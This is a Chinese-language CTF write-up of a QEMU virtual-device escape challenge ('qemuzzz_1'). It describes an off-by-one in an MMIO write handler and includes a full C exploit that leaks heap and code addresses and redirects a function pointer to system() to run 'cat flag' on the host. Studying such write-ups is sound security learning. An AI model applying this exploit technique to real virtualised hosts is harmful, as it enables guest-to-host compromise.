[Pwn] qemuzzz_1 - cpt.shao xp0int Posted on Apr 29 2021 https://uaf.io/exploitation/2018/11/22/Hitb-2017-babyqemu.html 基本是这题的改编题,实现了一个mmio设备。 漏洞在`zzz_mmio_write`进行物理内存读写的地方,发现如果off为1,size为0x1000的时候可以off by one改写一个字节。 ```c else if ( off == 0x60 ) { state1 = (state *)state->this; if ( (state1->hw_addr & 0xFFF) == 0 ) { size = state1->size; buf_off = (unsigned __int16)state1->buf_off; size0 = size & 0x7FFE; if ( (int)(buf_off + (size & 0x7FFE) - 1) <= 0x1000 ) { rw_func = state->field_19F8; va = &state1->read_area[buf_off]; if ( (size & 1) != 0 ) rw_func(state1->hw_addr, (__int64)va, size0, 1LL);// cpu_physical_memory_rw else rw_func(state1->hw_addr, (__int64)va, size0, 0LL);// cpu_physical_memory_rw if ( (__int16)state1->size < 0 ) ((void (__fastcall *)(state *, __int64))pci_set_irq)(state1, 1LL); } } } ``` 逆向出来的state结构体大概长这样,可以看到读写buf的后面接着this指针和一个函数指针。off by one正好可以把this指针的最低位改掉,我们只要把最低位x改成x+0x10,下次读写操作的时候就能越界读写this指针和函数指针。 ```c struct state { _BYTE head[2528]; unsigned __int64 hw_addr; _WORD size; _WORD buf_off; _BYTE gap_9EC[4]; _BYTE buf[4096]; __int64 this; void (__fastcall *rw_func)(_QWORD, __int64, _QWORD, __int64); }; ``` 先通过越界读泄露this指针地址和rw\_func的地址,然后可以计算出heap地址和code地址。最后可以布局好buf控制this指针和rw\_func, this要设置好满足`this->hw_addr`指向`cat flag`字符串的地址,同时字符串低12位要是`000`否则过不了check。`rw_func`指向`system@PLT`,再次触发就可以可以读flag了。 ```c // flag{4931c087859d360a91dba7a0e0e1a1a1} #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <stdint.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/prctl.h> #include "utils.h" #include <assert.h> #include <errno.h> #include <sys/types.h> #include <sys/stat.h> #define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) #define PFN_PRESENT (1ull << 63) #define PFN_PFN ((1ull << 55) - 1) int FDMMIO; unsigned int * MMIO; void die(char * msg) { perror(msg); exit(-1); } void set_hwaddr(unsigned int addr) { MMIO[0x20/4] = addr; } void set_buf_off(int16_t off) { MMIO[0x10/4] = off; } void set_size(int16_t size, int is_write) { if (is_write) { MMIO[0x18/4] = size | 1; } else { MMIO[0x18/4] = size; } } void do_rw() { MMIO[0x60/4] = 1; } void fill(){ MMIO[0x50/4] = 1; } uint64_t get_physical_pfn(char* ptr) { uint64_t pfn = -1; FILE* fp = fopen("/proc/self/pagemap", "rb"); if (!fp) { return pfn; } if (!fseek(fp, (unsigned long)ptr / PAGE_SIZE * 8, SEEK_SET)) { fread(&pfn, sizeof(pfn), 1, fp); if (pfn & PFN_PRESENT) { pfn &= PFN_PFN; } } fclose(fp); return pfn; } uint64_t get_physical_addr(char* ptr) { uint64_t pfn = get_physical_pfn(ptr); return (pfn * PAGE_SIZE + (uint64_t)ptr % PAGE_SIZE) >> 12; } int main() { FDMMIO = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC); if (FDMMIO < 0) { die("fdmmio open"); } MMIO = mmap(NULL, 0x10000, PROT_READ | PROT_WRITE, MAP_SHARED, FDMMIO, 0); if (MMIO== MAP_FAILED) { die("mmio"); } size_t* va = mmap( NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0 ); memset(va, 0x90, 0x1000); // f0 local printf("va: %llx phys: %llx\n",va, get_physical_addr(va)); set_buf_off(1); set_size(0x1000, 0); set_hwaddr(get_physical_addr(va)); va[0] = (get_physical_addr(va) << 4) + 0xf900000000000000; //size va[1] = 0x0d + 0x020800; //off; hexdump(va, 0x20); do_rw(); set_buf_off(0); set_size(0x1000, 1); do_rw(); printf("--------\n"); hexdump(va, 0x1000); size_t leak1 = va[0xde8/8]; size_t leak2 = va[0xdf0/8]; printf("leak1: %llx\n", leak1); printf("leak2: %llx\n", leak2); size_t code = leak2 - 0x5bc5c0; size_t system = code + 0x2a7a80; size_t binsh = leak1 + 0x1010+0x860; printf("code: %llx\n", code); printf("binsh: %llx\n", binsh); set_buf_off(8); set_size(18, 0); fill(); set_buf_off(10); set_size(22, 0); fill(); memset(va, 0x80, 0x1000); do_rw(); memset(va, 0x90, 0x1000); char *ptr = (char *) va; ptr +=7; ptr +=0x628+0x860; strcpy(ptr, "cat flag"); ptr = (char *) va; ptr +=7; memcpy(ptr+0x10, &binsh, 8); memset(ptr+0x18, 0, 0x40); set_buf_off(1); set_size(0x1000, 0); set_hwaddr(get_physical_addr(va)); va[0] = (get_physical_addr(va) << 4) + 0x1000000000000000; //size va[1] = 0x00 + 0x0ff000; //off do_rw(); set_buf_off(0); set_size(0x1000, 1); va[0] = leak1+0x18; va[1] = system; do_rw(); puts("trigger"); getchar(); do_rw(); puts("Done.\n"); return 0; } ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] pwn1 - cpt.shao [Reverse] PE - Cew
没有帐号? 立即注册